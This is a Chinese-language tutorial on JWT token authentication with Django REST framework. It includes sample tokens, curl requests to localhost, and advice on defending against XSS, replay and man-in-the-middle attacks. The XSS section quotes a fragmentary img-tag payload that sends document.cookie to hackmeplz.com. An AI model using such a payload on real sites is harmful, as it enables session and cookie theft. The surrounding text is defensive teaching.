一步一步教你基于JWT的Token认证机制实现,以及如何防范XSS攻击、Replay攻击和中间人攻击。
HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth。
OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。
OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:
这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;
Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;
Token机制相对于Cookie机制又有什么好处呢?
JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。
一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。形式为:
A.B.C
JWT需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。
{“typ”: “JWT”,”alg”: “HS256”}
在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
{ “iss”: “Online JWT Builder”, “iat”: 1416797419, “exp”: 1448333419, “aud”: “www.example.com”, “sub”: “[email protected]”, “GivenName”: “Johnny”, “Surname”: “Rocket”, “Email”: “[email protected]”, “Role”: [ “Manager”, “Project Administrator” ] }
其他还有:
将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
一个最基本最简单最常用的payload为:
{
“user_id” => 123456, #用户id,表明用户
“iat” => 1356999524, #token发布时间
“exp” => 1556999524, #token过期时间
}
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在我们的请求URL中会带上这串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM也可以在http头中加Authorization头或在cookie带上
下面我们从一个实例来看如何运用JWT机制实现认证:
基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE中,也可能在HTTP的Authorization头中;
对Token认证机制有5点直接注意的地方:
pip install djangorestframework-jwt
请求:
curl -X POST -d “username=admin&password=password123” http://localhost:8000/login/
返回:
{“status”:”authentication successfully.”,”token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}
请求:
$ curl -X POST -d “username=admin&password=password123” http://localhost:8000/api-token-auth/
或
$ curl -X POST -H “Content-Type: application/json” -d ‘{“username”:”admin”,”password”:”password123″}’ http://localhost:8000/api-token-auth/
返回:
{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU2OTIsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTI5MiwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.XJ5xYY0xeb3TDqGMBRPGdU3s_UBn7SWcJIR2emLB0j0″}
请求:
$ curl -X POST -H “Content-Type: application/json” -d ‘{“token”:”<EXISTING_TOKEN>”}’ http://localhost:8000/api-token-refresh/
curl -X POST -H “Content-Type: application/json” -d ‘{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}’ http://localhost:8000/api-token-refresh/
返回:
{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTM3MCwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.MyhFTXbGBmuh3APQjbeZbRM4e64VN1MvcfumfNSXuOg”}
请求:
$ curl -X POST -H “Content-Type: application/json” -d ‘{“token”:”<EXISTING_TOKEN>”}’ http://localhost:8000/api-token-verify/
返回:
{“token”:”. . . .”}
请求:
$ curl -H “Authorization: JWT <your_token>” http://localhost:8000/protected-url/
curl -H “Authorization: TOKEN eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA” http://localhost:8000/example/
返回:
{“user”:”admin”,”auth”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}
如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。
浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
<img src=”x” /> a.src=’https://hackmeplz.com/yourCookies.png/?cookies=’+document.cookie;return a}())”
这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
移除任何会导致浏览器做非预期执行的代码,这个可以采用一些库来实现;如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击),你需要在前端和服务端分别做过滤;
通过设置Cookie的参数:HttpOnly;Secure 来防止通过JavaScript 来访问Cookie;
所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
几种常用做仅供参考:
所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS。
http://getblimp.github.io/django-rest-framework-jwt/#rest-framework-jwt-auth
http://blog.csdn.net/u011537073/article/details/52177204
http://blog.leapoahead.com/2015/09/06/understanding-jwt/
http://blog.leapoahead.com/2015/09/07/user-authentication-with-jwt/